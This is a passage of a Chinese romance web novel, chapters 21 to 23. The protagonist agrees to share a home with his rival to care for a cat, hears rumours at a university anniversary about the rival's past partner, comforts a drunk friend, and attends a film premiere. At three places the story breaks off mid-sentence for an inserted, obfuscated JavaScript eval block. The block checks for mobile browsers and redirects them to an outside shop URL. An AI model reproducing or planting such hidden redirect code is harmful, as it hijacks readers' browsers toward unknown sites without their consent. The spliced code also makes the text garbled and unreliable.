裴言修偏头看向他:“之前玥姐提议的……关于短期同居的事,你有考虑过吗?” 21. 校友会 白月光 事实上,这个提议并不是裴言修的一时兴起。从柏停提出要和他一起养猫开始,这个念头就已经在脑子里盘旋了无数遍。 空气仿佛静止,他正色看向柏停,柏停迎着他的目光回看过来,没有第一时间说话。 裴言修几乎能听到自己心跳的声音,他下意识屏住呼吸,强迫自己没把视线从柏停侧脸上挪开。 几秒后,他听见柏停的声音不远不近地传来: “你想答应?因为岁安?” “是。”裴言修下意识应道,他顿了顿,语速不自觉加快,“既然是共同领养,住在一起照顾起来肯定更方便。岁安的腿还需要定期复健和观察,恢复期有两个人轮流照看,能保证不间断,效果也会更好。” “再加上……玥姐之前说的也有道理。住在一起相较每周见面而言,确实省事很多。” 柏停沉默了片刻,神情显得有些难以捉摸。 裴言修眉头微蹙,对这个含糊的回应有些不满:“你……” “好。” “你真的不考虑一下?每周协调时间很麻烦,岁安的恢复也耽误不……”裴言修下意识地继续列举理由,话说了一半才猛地刹住,抬眼看向柏停,“……等等,你刚说什么?” 柏停正看着他,地库昏暗的光线在他眼底沉淀,像深不见底的潭水。他清晰地重复了一遍,每个字都落得很稳: “我说,好。” “我答应了。” —— “他真的答应了啊?我去!”林尤墨快惊掉下巴的声音从听筒那头传来,已经回到公寓的裴言修一屁股陷进沙发里,仰头猛灌了口凉茶,才闷闷地“嗯”了一声。 “不是……兄弟,你认真的?”林尤墨的声音拔高了八度,“你忘了上回你休假,好心收留我半个月,最后差点把我扫地出门的事儿了?你这狗脾气,跟柏停那个大冰山住一个屋檐下……你俩不得把房顶掀了?” 裴言修揉了揉眉心:“没那么夸张。只是暂时住一个屋檐下,各有各的空间,井水不犯河水。” “得了吧,我还不知道你?”林尤墨嗤笑,“你们打算住谁那儿啊?你那儿?让他天天看你家那堆限量手办和电影磁带?” “……住他那儿。”裴言修顿了顿,解释道,“他家户型以前为了云朵改装过,有专门的宠物活动区域和安全设计。岁安过去,恢复环境更好。” 林尤墨在电话那头长长地“哦——”了一声,尾音拖得意味深长:“为了猫……行,为了猫。裴总真是用心良苦,牺牲巨大。” 裴言修听出他话里的调侃,懒得接茬:“少废话。挂了,还有事。” “诶等等等等!”林尤墨紧急叫住他,语调一转,“先别挂。这周五咱学校百年校庆,校友会负责人刚联系我了。你那边怎么说?去不去?” 裴言修被他这么一提,才从“同居”的思绪里短暂抽离,想起似乎确实有这么回事。前两天白松刚把请柬转交给他,负责人发来的邮件也还静静地躺在列表里,只是还没来得及处理。 “去。” —— 校庆当日是个难得的艳阳天,裴言修停了车,被几个负责接待的学生领着往里走。 洛大这次百年校庆声势做的很足,校园里随处可见高高挂起的祝贺横幅与展板。三五成群学生裹着厚厚的围巾谈笑着走过,呵出的白气在冷空气中迅速消散,远处依稀能看见几个西装革履的身影,大概也是被邀请回来的优秀校友,青春气息与成熟气场在校园里奇妙地交融。 各界精英汇聚一堂,衣香鬓影,谈笑风生。裴言修刚踏入主厅,目光随意一扫,便看见了个熟面孔。 他眉梢一挑,迈开长腿几步过去,手臂一伸,熟稔地勾住了对方的脖子往下带,声音里带着点少爷式的懒洋洋笑意:“赵小义!可以啊,穿得人模狗样的,我差点没认出来。” 被勾住的人“哎哟”一声,笑着挣开他,抬手理了理被弄皱的衬衫领口:“还是母校面子大啊,把我们日理万机的裴总都请过来了。听说今天要做压轴发言?” 这人是他大一的室友,名字叫赵义,性格活络,脑子也转得快。大二时不知怎么就铁了心,非要从作为洛大王牌的经管院转到当时刚成立、听着特玄乎的“智能系统与未来网络”专业。裴言修当时还笑他“放着阳关道不走,偏挤独木桥”,不过看赵义现也混得风生水起,倒显得自己当年眼光短浅了。 “别来这套。”裴言修笑骂一声,松开手,姿态放松地插着裤袋,和他一起入座。 正聊着,前排的灯光暗了暗。致开场辞的事一位身着深色西装、气质干练的男士。裴言修随意扫了一眼,没太在意。 倒是赵义,跟着鼓完掌便忍不住感慨道:“时间过得真快啊。当年我们专业的万年老二,现在也是能站在这里给咱们开场的人物了。” “万年老二?”裴言修挑眉,抬眼看向那位台上正带着笑侃侃而谈的校友,又看了一眼他背后写满了科研成果的ppt,来了些兴趣。 他微微坐直身子,问道:“他是老二,那老大是谁?” 赵义一愣,眼里闪过一丝惊讶:“你居然不知道?” 裴言修莫名其妙:“你们专业的事,我为什么要知道?” 赵义噎了一下,随即想到裴言修居然真不知道,意外之余,心里那股看热闹的劲儿反倒被勾了起来。 他压低声音,带着点故弄玄虚的揶揄道:“不应该啊……按外界的说法,你们俩可关系匪浅。” 裴言修:“?” 赵义见他反应,笑容更大,正准备往下说,话头却忽然顿住。 裴言修若有所感,顺着他的目光看去——那位刚致完开场辞的校友不知何时已走下台,正站在他们这排座位的最外侧,朝他微微点头示意。 “抱歉,”对方声音温和,“请问里面这个位置有人吗?我可以坐进来吗?” 裴言修和赵义对视一眼——赵义右侧恰好有个空位。 “好久不见啊赵义,刚刚在台上一眼就看到你了。” “阿哲?啊哈,啊哈哈哈……”赵义迅速换上热络的笑脸,微微侧身让出过道,张口就来,“刚刚讲的真好,我都听入迷了。” “应付场面而已。”被称作阿哲的男人轻松落座,笑着调侃,“倒是你,赵总,最近在哪儿发财呢……” 两人你一言我一语地聊起近况,语气熟稔。裴言修无意深听,但零碎的词句还是飘进耳朵里,无非是哪个同学跳槽了、谁谁创业拿到了融资、还有谁居然转行去做了毫不相干的行业……典型的校友重逢话题。 就在话题即将滑向更泛泛的怀旧时,阿哲喝了口酒,像是忽然想起什么,很随意地转向赵义: “说起来,柏停这次怎么没来?也是好久没见了,还以为这回能见到他呢。” 赵义脸上的笑容微妙地停顿了半拍,眼神下意识地往裴言修那边飘了一下。 裴言修:“……” ……他好像知道赵义口中那个跟他关系匪浅的万年老大是谁了。 不过他真是头一回听说——柏停居然也是洛大的? 也就是说,他们不仅同届,还在同一个校园里度过了整整四年,在某种程度上拥有共同的朋友圈,但居然一次都没碰见过!甚至连听都没听说过对方…… 裴言修心情有些复杂……这大概就是天生的磁场不合吧。 也是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274647|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是那会就认识柏停,他的人生大概要多上四年的添堵时光。 正想着,赵义已经接上了话,语气尽量自然:“柏停啊……他最近好像也挺忙的。这种活动,他一向不怎么参加。” “也是,他一向这样。”阿哲笑了笑,似乎并不意外,“还以为这次校庆规格高,能把他炸出来呢。” 他说着像打开了话匣子,感慨道:“说真的,刚进大学那会儿,我们系里不少人看他都不太顺眼。看着冷冷清清的,不怎么合群,可次次考试、竞赛,第一准是他。那会儿觉得他可真是拽得没边了。” “说真的,当年他跟严幸刚开始搞那什么全息啊智脑啊的时候,谁都不看好。那时候听着都还是不可思议的概念。没想到还真让他俩做起来了。 赵义深有同感,正准备附和,身边突然传来一道若有所思的声音。 “严幸?” 赵义下意识点了点头,随后反应过来是谁在说话,心头顿时一动,看向裴言修。 阿哲听见他突然作声也顿了顿。他是搞科研的,并不认识裴言修这张脸,但胜在自来熟,当即就笑着接话了,“对啊,严幸。你也认识吗?” “不认识,但柏停的名字我是听过的,环隆创始人嘛,鼎鼎大名。”裴言修笑了笑,“外界不都传他是独身创业,白手起家吗?这个严幸是……?” 赵义在听到他前半句时神色就已然十分微妙,嘴唇动了动,没来得及开口。旁边的阿哲却已自然地接过话头: “嗨,外界那些传言,听听就算了。”阿哲摆摆手,“严幸是柏停的室友,也是我们专业的。环隆最开始就是他和柏停两个人合伙折腾起来的。” 他说着,像是突然想起了什么,“诶”了一声,从口袋里掏出手机:“等等,我这好像还有张老照片……当时他们第一次拿创新大赛特等奖的合影。”他边说边在相册里翻找,还真找了出来,将手机屏幕转向裴言修,“你看。” 裴言修低头看去,手机里的照片看上去有些年代感了,背景是简单的颁奖台。柏停穿着件样式简单的深色T恤,面容比现在青涩许多,神色仍是惯有的平静,却少了几分如今商场淬炼出的疏离与锐利,看上去更像一个只是性格有些冷淡的普通大学生。 而站在他身旁的人穿着一件浅色衬衫,身形清瘦挺拔,眉眼干净柔和,正对着镜头浅笑,眼尾微微弯起,像是偶像剧里才会出现的那种“白月光”。他和柏停一道拿着一张奖状,头微微靠向柏停那侧,在镜头的错位下乍一看像是靠在了身边人的肩头一般。 阿哲声音压低了些,语气变得八卦:“不过后来,大概公司有点起色没多久吧,严幸就突然退出核心团队了,走得挺干脆。我们当时私底下还猜……” “咳!”赵义猛地咳了一声,用力扯了阿哲的袖子一下,打断了他,“都多少年前的老黄历了,人家现在发展得都挺好,提这些干嘛。” 阿哲这才反应过来,讪讪地笑了笑:“也是,也是。”他看了眼裴言修,似乎意识到自己在一个“外人”面前说多了,便不再往下讲,转而去拿起小桌板上的矿泉水喝了一口。 台上另一位嘉宾的发言接近尾声,阿哲看了看手机,歉意地朝两人点点头:“抱歉,我去下洗手间,一会儿回来。”说着便起身,顺着边上的通道安静地走了出去。 座位上只剩下裴言修和赵义两人。 裴言修也喝了口水,侧过脸,状似随意道:“你们当时私下猜什么?真不能说?这么神秘。” 赵义显得有些为难,半晌咬了咬牙,“其实真没什么。就是当时大家私底下瞎猜……” “猜他俩有过一段。不过后来分手了……所以严幸才走得那么干脆。” 22. 亲密关系 有过一段?柏停和那个叫严幸的男人? 裴言修第一反应是觉得不可思议。 ——柏停这样的人,居然能和人正常建立亲密关系? ……这实在很难想象。 赵义瞥了一眼裴言修的脸色,飞快地补充道:“都是多少年前学生时代捕风捉影的闲话了,一点实据都没有,当个笑话听听就行。阿哲那个人,成天泡在实验室里,估计平时也不太关注娱乐版和财经花边……他应该是真不知道你和柏停现在的关系,没有恶意的。” 裴言修回神,听到赵义的话觉得有些哭笑不得,却也没解释,只心不在焉地点了点头。 典礼结束时已近傍晚,裴言修婉拒了赵义和阿哲的聚餐邀请,径自走向停车场。 坐进车里,刚松了松领带,西装内侧口袋里的手机便震动起来。 屏幕上跳动着“万理”两个字。 他接起,还没来得及开口,万理郁闷的声音就传了过来,带着股少见的烦乱:“羞儿,今晚有空吗?” 万理平时性格大大咧咧的,又由于职业需要,一向是他们三个里面情绪最稳定的。难得听到他这么萎靡的语气,跟霜打的茄子似的。 裴言修眉梢微挑,坐直了些:“有空。你那边出什么事了?” “见面说,”万理的声音依然闷着,“地址发你。” 电话挂断,一条定位信息紧跟着跳了出来。 半小时后,裴言修的车停在了一家名叫“Sky”的清吧门口。 店里人不多,装修是冷调的工业风,裸露的砖墙衬着暖黄的灯光,空气里流淌着舒缓的爵士乐。万理独自坐在吧台最里面,面前摆着一溜颜色各异的空杯,正侧着头,固执地跟调酒师比划着什么。调酒师表情有些无奈,却坚定地摇了摇头。 裴言修走过去,一股浓烈的混合酒气立刻冲进鼻腔。他眉头一皱,拍了下万理的肩。 万理和调酒师同时转过头。 “先生,您是他朋友?”调酒师先开口,像松了口气,擦拭酒杯的动作都轻快了些,“劝劝他吧,他已经喝了好几杯高度数的特调了,还想点轰炸机。这么混着喝,身体会受不了的。” 裴言修诧异地看向吧台上那排颜色各异的空杯,抬手不轻不重地拍了下万理的后脑勺:“你疯了?当这是水呢?”他在旁边的高脚凳上坐下,侧头看他,“怎么了这是?” “羞、羞儿……”万理抬起有些发直的眼睛,打了个酒嗝,双手撑住吧台边缘,脑袋垂下去,盯着木纹看了半晌。 裴言修把他手边一个快倒的空杯扶稳。久到裴言修以为他睡着了,他才猛地吸了口气,抬起头,眼神又空又直,声音却低得几乎被背景音乐盖过去: “我好像……栽了。” 裴言修刚端起水杯润喉,闻言手一顿,微微蹙眉:“……栽哪儿了?项目亏了?” 万理摇头,更用力地攥紧了台沿,像是用尽全身力气才把那句话从喉咙里挤出来: “不是项目……是人。我好像……弯了。” 裴言修:“……” 他放下水杯,发出“嗒”一声轻响。 万理伸手又要去够酒杯,被裴言修一把按住:“别喝了。” 裴言修压低了声音,身体前倾,目光锁住万理:“你把话给我说清楚。什么叫‘好像’弯了?跟谁啊?什么时候的事?” 这次万理沉默的时间更长了。好一会儿,他才像做足了心理建设,重新开口:“……上次打篮球,我不是喝大了吗?第二天还问你要送什么礼物赔罪来着。记得吗?” 裴言修点了点头脑子里迅速过了一遍那天的情景,随即敏锐地意识到了什么。他张了张嘴:“你等等……” 万理没理会他的欲言又止,自顾自地、像是终于找到了宣泄口,语速越来越快:“那天晚上,笑儿睡我家了。我半夜醒了一次,也不知道怎么就鬼迷心窍……” 他喉结用力滚动了一下,声音压得几乎只剩气音:“……偷偷亲了他一下。” 他抬起眼,看了看裴言修如遭雷击的表情,又干巴巴地补充了一句:“嘴对嘴的那种。” “第二天你跟我说他生气了,我以为他发现了,吓得要死。”万理揉了揉脸,“后来才知道,是因为别的事。” 他顿了顿,肩膀垮了下去,声音里透出浓重的迷茫和自厌:“可打那天起,我就一直不敢见他。但脑子里……反反复复全是那个画面,甩都甩不掉。昨晚还梦见……”他没再往下说,用力抓了把头发,看向裴言修,眼神里全是求助和无措,“羞儿……我是不是完了?我他妈……好像真栽了。” 裴言修沉默了足足有五分钟,而后面无表情地抬手,朝吧台后的调酒师示意:“……劳驾,给我也来杯轰炸机。” 炸死这个世界算了。 万理自言自语地低声喃喃:“我怎么会喜欢上笑儿呢……都是从小一起长大的,兔子还不吃窝边草呢。”他猛地端起面前的酒杯,仰头饮尽杯中残酒,空杯子在吧台上磕出清脆的一声。 “你也知道啊。”裴言修无奈地靠在椅背上,最初的震惊过去后,只剩下一种啼笑皆非的纳闷。 “会不会……只是你当时喝多了,无意识的举动?”他试图给万理找个台阶,也是给自己混乱的思绪找点逻辑,“一直忘不了,是因为你自己也没办法接受这种意外……” “不会。”万理摇摇头,否认得很快,“那个时候我很清醒。”他顿了顿,声音又低了下去,“我这几天脑子里晃来晃去的,都是他躺在那儿的样子……呼吸的时候嘴唇会微微张开一点,看着特别……乖。亲起来特别软,还有点凉,带着一点酒味……” “停!停停停。”裴言修听得头皮发麻,鸡皮疙瘩都起来了,“你栽了,你是真栽了。”他实在无法把“特别乖”、“特别软”这些词跟从小就跟他们上房揭瓦、打起球来凶得不行的林尤墨联系在一起,光是想象一下都觉得画面诡异到惊悚。 “你俩该不会是联合起来整我吧?”他狐疑地盯着万理。 万理抬起头,脸上还带着酒精熏出的红和明显的茫然:“你看我现在的样子,像是在整你吗?” 这下裴言修也不知道该说什么好了。轰炸机很快被送到面前,他端起来喝了一大口。强烈的酒精混合着后劲十足的糖浆,口感复杂,一如他的心情。 他看着眼前愁云惨淡的万理,脑子里想的却不是他和林尤墨的纠葛,而是莫名跳到了下午和赵义的那番对话。 原来喜欢一个人……会这么情不自禁?甚至可以打破这么多年“兄弟”的界限,做出偷亲这种事后让自己抓狂的事? 那柏停和严幸呢? 如果真像赵义他们私下猜的那样……他们肯定也亲过吧? 脑子里不受控制地闪过柏停那张总是没什么表情的脸,又叠上照片里严幸干净清秀的侧影,裴言修一时说不出心里是个什么滋味。 严幸和柏停亲嘴是个什么样子他不知道,但他和柏停倒是真枪实弹地亲过一次,虽然只是在游戏里。 柏停的嘴唇……似乎很薄,唇线清晰,颜色也偏淡,平时抿着的时候显得有点冷感。至于触感…… 裴言修猛地呛了一下,被自己不受控的联想惊得头皮发麻。他赶紧端起杯子灌了一大口酒,辛辣的液体灼烧着喉咙,试图把那些不该浮现的记忆压回去。 眼看万理又要去拿酒,裴言修当机立断架住他胳膊,强行把人从吧椅上拖下来:“行了,今晚就到这儿,我送你回去。” 万理还想挣扎,被裴言修一句话钉在原地:“你现在喝成一滩烂泥,萎靡不振,能解决什么问题?是能让你不喜欢他,还是能让他喜欢你?” 万理不吭声了。 “回去好好睡一觉,冷静下来想清楚。”裴言修一边架着他往外走,一边压低声音说,“如果……我是说如果,你真确定自己心意了,又不敢问,我可以帮你探探笑儿的口风。” 万理猛地抬起头,眼睛里亮了一下,随即又黯淡下去,胡乱点了点头。 裴言修架着他走出Sky,深夜的街道车辆稀少。他正招手准备拦车,一辆黑色的宾利悄无声息地滑停在他们面前不远处的路边。 裴言修起初没太在意,下一秒,宾利的后车窗降下了一半,露出一张温文含笑的脸。 “言修?好巧。需要帮忙吗?” 裴言修一愣,侧头望去,随即有些意外。 ——面前这人是乐影传媒的CEO秦文昊,也是他前阵子在洽谈的一个影视投资项目的合作伙伴。裴言修和他私交不算深,但同在一个圈子,从小就认识,也算是打过几回交道。秦文昊是个八面玲珑的角色,能力不错,很会来事,合作起来总体还是愉快的。 “yue……”一直迷迷瞪瞪靠在他肩上的万理突然难受地干呕起来,身体往下滑。裴言修吓了一跳,赶紧用力架住他,匆匆对秦文昊说了句:“抱歉,稍等。”便半扶半拖地把万理带到路边的垃圾桶旁。 万理对着垃圾桶吐得昏天暗地。裴言修拍着他的背,正想摸纸巾,身后却适时递过来两张干净的面巾纸,紧接着,一瓶拧开了盖的矿泉水也被送到了他手边。 秦文昊不知何时下了车,就站在他们身后半步远的地方,脸上带着恰到好处的关切:“你朋友醉得不轻。这个点不好打车,你们要去哪?我顺路送你们一程吧。” 裴言修看了看吐得脸色发白、站都站不稳的万理,又看了眼空荡的街道,没再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274648|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推辞:“好。” “小事。”秦文昊微微一笑,主动帮忙拉开了后车门。 两人合力将迷迷糊糊的万理塞进后座。万理一挨着柔软的座椅,头一歪,几乎是秒睡过去,发出轻微的鼾声。 车子平稳地汇入夜色。裴言修报了个具体地址,便靠着椅背,揉了揉眉心。 “今天真是麻烦你了。”他对前排的秦文昊说。 “举手之劳。”秦文昊从后视镜里看了他一眼,语气轻松,“不过能碰上裴总这么接地气的一面,倒是难得。” 裴言修扯了扯嘴角,没接这话。 短暂的沉默后,秦文昊像是忽然想起什么,开口道:“对了,正打算联系你呢。周五就是《暗潮涌动》的首映礼了,好多人都想见见我们神秘的救命金主呢。” “怎么样金主?赏脸吗?” 《暗潮涌动》是裴言修之前通过中达旗下投资公司参与的一个电影项目,乐影传媒是主要制作方。影片由一位奖项等身的金牌导演执导,题材大胆,班底扎实,开机前水花就不小。不料拍摄中途,行业风向微调,这个题材在内地的过审难度骤然加大。消息一出,立刻有嗅觉灵敏的资方选择了撤资避险。 裴言修作为一名忠实的电影爱好者,知道这位导演的含金量,连夜看了剧本,在评估完这部电影的商业价值后当即便决定注资。 乐影那边大概也很重视这个项目,不想再出任何意外。从裴言修注资开始,就一直是秦文昊亲自出来对接。 “秦总都亲自开口了,这个面子我还能不给?”裴言修应下。 秦文昊笑了,随后话锋一转,语气有些惋惜,“其实之前还有个更大胆的想法。我考虑过,找一家设备商合作,用全息技术来做几场特别的超前点映,噱头和体验感绝对拉满。” 裴言修挑了挑眉,全息技术?他最近对这个词可太熟了。 秦文昊摊了摊手:“但想想还是算了。目前最成熟的全息技术专利在环隆手里,跟柏停那种人合作……”他摇了摇头,没说完,但意思很明显,“无异于与虎谋皮,太麻烦,风险也高。所以最终还是选了传统方案。” “也不至于吧。”裴言修靠着车窗,漫不经心地随口接了句,“哪有那么夸张。” 秦文昊神情微顿,闻言抬眼看向他:“看来……最近那些传闻,不是空穴来风。你跟柏停的关系真的缓和了不少。” “这结论怎么得出来的?就因为我没跟着你一起骂他两句?”他语气依旧带着玩笑的意味,但话里却藏着试探,“我倒是觉得,秦总这么会算账的人,因为忌惮柏停这个人就放弃这么大的商机,不太像你的作风。” 坐生意的,什么样的合作伙伴没遇见过?全息技术目前还没有应用到电影行业,秦文昊若是用了,就是业内第一个吃螃蟹的人,带来的关注度和潜在收益不可估量。在如此巨大的利益面前,仅仅因为个人好恶就轻易放弃? 他和柏停还是相看两厌的死对头呢。不照样合作的好好的? 秦文昊看了他一会儿,脸上那层温文的笑容淡了下去,眼神里多了些复杂的东西。“你不知道。”他摇了摇头,似乎是在斟酌用词,“柏停这人……”顿了顿,最终还是选择了最直接的评价,“是个为了目的可以不惜一切的人。他今天能跟你笑脸相迎,明天就能为了利益把你连骨头带渣吞了,眼睛都不会眨一下。” 裴言修沉默地听着,没有立刻反驳。脑子里却不受控制地,闪回到几年前。 ——他突然想到,自己第一次听到柏停这个名字,似乎就是在秦文昊嘴里。 那时候他刚结束学业从国外回来,国内这帮朋友给他办了个接风宴。席间推杯换盏,不知怎么话题就转到了当时刚刚崭露头角、行事却已颇为凌厉的柏停身上。当时第一个用“心狠手辣”这个词形容柏停的,就是秦文昊。 某种意义上来说,他对柏停的第一印象居然是来自于秦文昊。 虽然后来柏停自己做的那些讨人厌的事,也的确没辜负这不算太好的第一印象就是了。 可现在呢? 不得不说,相处的确是最好的了解方式。他现在很难再把他认识的柏停和秦文昊嘴里那个阴毒狠鸷、满腹算计的人联系在一起。 “人都是会变的,文昊。”裴言修看向窗外飞驰而过的夜景,声音不高,像是在自言自语,“而且,有时候传闻和真实之间,可能隔着很远的距离。” 秦文昊闻言,脸上的表情变得更加不赞同,他身体微微前倾,加重了语气:“言修,我不是在跟你开玩笑。我是真心拿你当朋友,才跟你说这些。”他顿了顿,犹豫了片刻,才压低声音,语气复杂地问道: “你知道柏停当年是怎么发家的吗?” 23. 首映礼 秦文昊这句话问得突兀,裴言修眉心几不可察地蹙了一下,语气却如常:“知道一点,不是都说他白手起家,能力过人么?” 秦文昊轻轻摇了摇头,笑得讽刺:“能力过人……或许吧。但白手起家背后,总有些故事。” 他抬眼对上裴言修的目光:“你听说过一个叫严幸的人吗?” 严幸,又是严幸。 裴言修没想到自己能在一天内听到这个名字第二次。似乎人人提到柏停,都要把他和这个名字联系在一起。 裴言修笑了笑:“听说过。柏停最开始创业时的合作伙伴?” 秦文昊似乎有些意外他知道,显得有些神色莫辨,但很快反应了过来:“是。” “严幸不是洛城人,家里似乎也还挺有钱。环隆最初的启动资金就是他提供的。他出资,柏停技术入股。” “但公司刚站稳脚跟没多久,柏停做的第一件事,就是和他这位‘恩人’兼合伙人拆伙。”他顿了顿,似乎在回忆当时的细节,“具体用了什么手段,外人很难说清,但结果是明确的——严幸手里所有的股份都被柏停收拢了过去。紧接着,就是一次董事会的大清洗。所有当时支持严幸、或者和柏停意见不合的元老,全都被他以各种理由请出了公司。” 他调整了一下坐姿,语气变得有些沉:“那时候你在国外,可能没太关注。这事当时在圈子里闹得沸沸扬扬,都说柏停这人,心太狠,不留余地。后来环隆越做越大,成王败寇,也就没什么人敢再提这桩旧事了。” “至于他们为什么会闹到这一步,”秦文昊抬眼看向裴言修,声音更低了些,“众说纷纭。有的说,是柏停天生掌控欲强,容不得别人手里有权;有的说,是两人在公司发展方向上产生了根本分歧,水火不容;还有人说……”他停顿了一下,目光在裴言修脸上停留片刻,才缓缓道,“说他们俩曾经有过一段,后来掰了,所以柏停才做得那么绝,半点旧情都不念。” 秦文昊收回视线,意有所指道:“柏停这样的人,只适合敬而远之。” “如果要和他发展点什么,但凡闹掰,他会做的比谁都绝,不给自己留半点后患。” “严幸就是那个前车之鉴。” 把万理弄回公寓安顿好,裴言修再回到自己家时,已经是凌晨一两点了。明明身体疲惫,脑子却异常清醒,一点睡意都没有。 关于柏停过往的信息在脑海中挥之不去。他冲了个澡,试图让水流带走烦躁,但效果甚微。 躺到床上,裴言修拿起手机,手指无意识点开了和柏停的聊天界面。最后一条消息还停留在他之前发过去的那个贱兮兮的表情包上,对方没回。 他的指尖在屏幕上悬停片刻,最终还是退了出来,鬼使神差地打开了搜索引擎,在输入框里缓缓打出了“严幸”两个字。 点击搜索。 页面刷新,跳出来一堆同名同姓、但显然都毫不相干的信息——某个地方的小企业家、某个学术论文的作者、甚至还有几个社交媒体上同名的普通用户。没有一条看起来能和阿哲、赵义以及秦文昊口中那位曾与柏停共同创立环隆、又神秘消失的“严幸”对上号。 他盯着屏幕上那些杂乱无章的结果,几秒后,有些烦躁地“啧”了一声,抬手按灭了屏幕,将手机丢到一旁的床头柜上。 —— 《暗潮涌动》的首映礼安排在了洛城一家有名的高档酒店。 内场布置得极具格调,灯光璀璨,衣香鬓影。圈内知名的导演、演员、制片人、投资方云集,空气中弥漫着香水、香槟和社交寒暄混杂的气息。秦文昊忙着周旋于各路人马之间,裴言修则端了杯香槟,找了个相对安静的角落。 几位主演正在接受媒体群访,导演被一群人簇拥着谈笑风生。视线掠过某个方向时,他微微一顿——在一个略偏的柱子旁,站着一个穿着香槟色礼服长裙、气质温婉出众的女人,正侧头和身边的人低声交谈。侧脸有些眼熟,裴言修一时没想起来是谁。 没给他太多思考的时间,第一波敬酒的人已经来了。裴言修瞬间被各种寒暄和客套话包围。他脸上挂着无可挑剔的微笑,应酬得滴水不漏,心里却觉得有些乏味。 首映礼的afterparty在酒店顶层的露天花园举行。这里氛围轻松了许多,音乐舒缓,可以俯瞰洛城璀璨的夜景。 裴言修刚摆脱了一轮敬酒,正想找个地方透透气,一转身,却意外地在吧台附近,看到了一个绝不该出现在这里的身影 柏停站在吧台不远处,手里拿着一杯苏打,正微微侧头,听着旁边一位穿着得体、像是活动方高层管理人员模样的人在说着什么。他今天也穿了一身西装,颜色比裴言修的略浅,衬得他身形愈发挺拔清隽。 裴言修脚步一顿,心里那点因为酒精和冗长社交带来的乏味感瞬间被驱散,取而代之的是一丝意外和……难以言喻的复杂。 柏停怎么会来?他记得《暗潮涌动》的投资方名单里并没有环隆。 几乎是同时,柏停似乎也察觉到了他的视线,目光转了过来。两人隔着不算远也不算近的距离,在摇曳的灯光和低语的人声中,视线在空中短暂交汇。 柏停的脸上没什么表情变化,只是几不可察地,朝着裴言修的方向,微微抬了抬手中的杯子。 算是打过招呼。 裴言修心里冒出了点莫名的感受,秦文昊那晚说的话重新在耳边响起,他谈不上舒服,一时竟有些不知道该如何反应。 就在他犹豫的这几秒,旁边有人热情地凑上来和他攀谈,挡住了视线。等裴言修敷衍完那人,再看向吧台方向时,柏停的身影已经不见了。 他皱了皱眉,下意识地在人群中搜寻。最终在靠近花园围栏、一个相对僻静的角落,看到了那个独自倚着栏杆的背影。柏停面朝外,望着远处的城市灯火,侧脸在明明灭灭的光线下显得有些模糊。 裴言修犹豫了片刻,还是端起一杯新的香槟,朝着那个方向走了过去。 脚步在柏停身后不远处停下,还没来得及开口,另一个声音就插了进来,带着恰到好处的惊喜: “言修!原来你在这儿,让我好找。” 秦文昊笑吟吟地走了过来,身旁还站着那位裴言修先前觉得眼熟的、穿着香槟色长裙的温婉女士。 这次距离足够近,裴言修看清了她的脸,颇为惊讶:“晚姨?” 苏晚脸上也绽开温柔的笑容,上前一步,和裴言修轻轻贴了贴面:“言修,好久不见了。” 裴言修失笑:“您什么时候回国的?我妈咪前阵子还念叨您呢。我们得有三四年没见了吧?” “是啊,时间过得真快。”苏晚感叹道,随即指了指身旁的秦文昊,“这次是文昊,非要拉我回来,给他这部电影制作主题曲。说是非我不可,拗不过他。” 秦文昊适时插话,笑着说:“这次真是我厚着脸皮、斥巨资才把苏晚女士请回来。电影能请到您操刀主题音乐,是我们所有人的荣幸。” 苏晚嗔怪地看了他一眼,转向裴言修,语气温和:“这次回来,应该会在国内待一阵子。等把这首曲子做完,我好好和你妈妈聚聚。” 裴言修笑着点头,对秦文昊道:“那敢情好。还是秦总面子大啊,能把晚姨这尊大佛都请动。” 苏晚捂嘴轻笑,状似不经意地说道:“对了,这次囡囡也跟我一起回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274649|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。这孩子,在车上就一直念叨,说好久没见言修哥哥了,要和你好好玩玩呢。”她看着裴言修,笑容慈爱,“你们俩小时候就要好,找个时间,约出来一起喝个下午茶,见见面?” 裴言修一听这熟悉的、带着拉郎配意味的话术,头皮顿时一紧,脸上的笑容险些没维持住,变得有些僵硬。苏晚的女儿比他小几岁,小时候确实一起玩过几次,但那都是多少年前的事了! 他硬着头皮,打着哈哈应付:“悦悦也回来了啊?是该见见,是该见见……等您和妈妈约好时间,我一定到。” 身后传来脚步声,秦文昊目光忽然越过他的肩膀,定格在某个方向,脸上的笑容不变,只是眼神深了些。 裴言修若有所感,下一秒,便见遥遥举了举手中的酒杯,声音不高不低地招呼道:“柏总。” 裴言修心头一跳,猛地扭过头。 